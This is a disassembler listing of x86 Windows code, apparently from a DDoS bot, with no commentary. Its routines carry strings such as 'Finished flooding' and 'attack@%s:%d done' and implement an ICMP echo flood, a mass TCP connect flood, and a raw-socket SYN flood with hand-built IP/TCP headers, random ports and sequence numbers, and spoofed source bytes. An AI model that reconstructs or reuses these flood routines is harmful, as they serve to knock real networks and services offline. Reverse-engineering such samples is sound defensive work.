		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4277B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427850	proc near		; CODE XREF: sub_4014CEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427850	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427910:				; CODE XREF: ___:loc_4016DBj
					; ___:0040219Ej
		push	esi
		mov	esi, ecx
		call	sub_4014CE
		test	byte ptr [esp+8], 1
		jz	short loc_427928
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427928:				; CODE XREF: ___:0042791Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427940	proc near		; CODE XREF: sub_4011FEj ___:0040209Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4020AE
		test	[esp+4+arg_0], 1
		jz	short loc_427958
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427958:				; CODE XREF: sub_427940+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427970	proc near		; CODE XREF: sub_4020AEj
		jmp	sub_4014CE
sub_427970	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427990	proc near		; CODE XREF: sub_401A50j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40183E
		add	esp, 10h
		test	eax, eax
		jz	short loc_427A54
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_427A6E
; ---------------------------------------------------------------------------


loc_427A54:				; CODE XREF: sub_427990+9Aj
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_427A6E:				; CODE XREF: sub_427990+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427990	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427B10	proc near		; CODE XREF: sub_401E9Cj

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_437B30
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27E07CFh
		mov	esi, eax
		test	esi, esi
		jz	short loc_427B7A
		mov	edi, dword_511918
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_51011C, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_510120, eax
		call	edi
		mov	ecx, dword_51011C
		mov	dword_510118, eax
		test	ecx, ecx
		jz	short loc_427B7A
		mov	edx, dword_510120
		test	edx, edx
		jz	short loc_427B7A
		test	eax, eax
		jz	short loc_427B7A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_427B85


loc_427B7A:				; CODE XREF: sub_427B10+1Bj
					; sub_427B10+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_427B85:				; CODE XREF: sub_427B10+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_427B9C
		mov	[esp+24h+arg_FFE8], eax


loc_427B9C:				; CODE XREF: sub_427B10+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_427BAF
		mov	ebp, 1


loc_427BAF:				; CODE XREF: sub_427B10+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_427BF4


loc_427BC0:				; CODE XREF: sub_427B10+E2j
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_427BF4
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_510118	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_427BC0


loc_427BF4:				; CODE XREF: sub_427B10+AEj
					; sub_427B10+B7j
		push	edi
		call	dword_510120	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_427B10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C50	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E9C
		add	esp, 14h
		retn
sub_427C50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C90	proc near		; CODE XREF: sub_401BDBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	nullsub_10
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427C90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427D00:				; CODE XREF: ___:00401A28j
					; ___:00401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401807
		test	byte ptr [esp+8], 1
		jz	short loc_427D18
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427D18:				; CODE XREF: ___:00427D0Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427D30	proc near		; CODE XREF: sub_401807j
		jmp	sub_4014CE
sub_427D30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427D50	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427D50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E7D8F
		mov	[esp+2Ch+var_28], eax


loc_427D76:				; CODE XREF: sub_427D50+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_427D87
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E86EF
		jl	short loc_427D76


loc_427D87:				; CODE XREF: sub_427D50+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_427F39
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E7D1Bh[eax*8]
		call	sub_4017EE
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_427DF0
		mov	dword ptr [ebp+68h], 5


loc_427DF0:				; CODE XREF: sub_427D50+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_510128
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_510328
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 27901E6h
		test	eax, eax
		mov	dword_51032C, eax
		jz	short loc_427E8B
		push	offset dword_448F34
		push	5
		push	eax
		push	0
		push	offset dword_510128
		call	sub_4013F2
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_427EBB
; ---------------------------------------------------------------------------


loc_427E8B:				; CODE XREF: sub_427D50+11Dj
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_427EBB:				; CODE XREF: sub_427D50+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_40142E
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_427F39:				; CODE XREF: sub_427D50+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_427D50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FD0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E7D1Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428066
		push	ebp
		nop
		call	near ptr 71AB4FD4h
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_42805F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_42805F:				; CODE XREF: sub_427FD0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428066:				; CODE XREF: sub_427FD0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_428116
		mov	ebx, dword_511C3C


loc_428085:				; CODE XREF: sub_427FD0+140j
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_428116
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_42809B:				; CODE XREF: sub_427FD0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4280BB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB4519h
		nop


loc_4280BB:				; CODE XREF: sub_427FD0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_42809B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280CA:				; CODE XREF: sub_427FD0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_4280CA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 2830000h
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280F3:				; CODE XREF: sub_427FD0+130j
		mov	edx, [esi]
		push	edx
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	edi
		jnz	short loc_4280F3
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_428085


loc_428116:				; CODE XREF: sub_427FD0+A9j
					; sub_427FD0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_427FD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4281A0	proc near		; CODE XREF: sub_401DF2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4281A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F10C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4281A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428210	proc near		; CODE XREF: ___:004016E5j sub_40182Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_428228
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428228:				; CODE XREF: sub_428210+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428210	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428240	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014CE
sub_428240	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428260	proc near		; CODE XREF: sub_401EB0j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_401DCF
sub_428260	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4283D0	proc near		; CODE XREF: sub_401BC7j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021C6
sub_4283D0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_428461
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_428461:				; CODE XREF: ___:00428441j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		call	near ptr 71AB8769h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_428494
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_428494:				; CODE XREF: ___:00428485j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4284B7


loc_4284AA:				; CODE XREF: ___:0042865Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4284B7:				; CODE XREF: ___:004284A8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_511C38
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 27E0B37h
		mov	[esp+48h], eax
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_42870B
		mov	ebx, dword_511AC8
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_428555
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_428555:				; CODE XREF: ___:00428551j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A37
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A37
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4284AA
		nop
		call	near ptr 27E0B37h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_428707
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4286A9
		push	2710h
		push	3E8h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4286A9:				; CODE XREF: ___:0042868Ej
		push	0FFh
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 407907E8h, 0B9A09002h, 84004D84h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_428707:				; CODE XREF: ___:00428686j
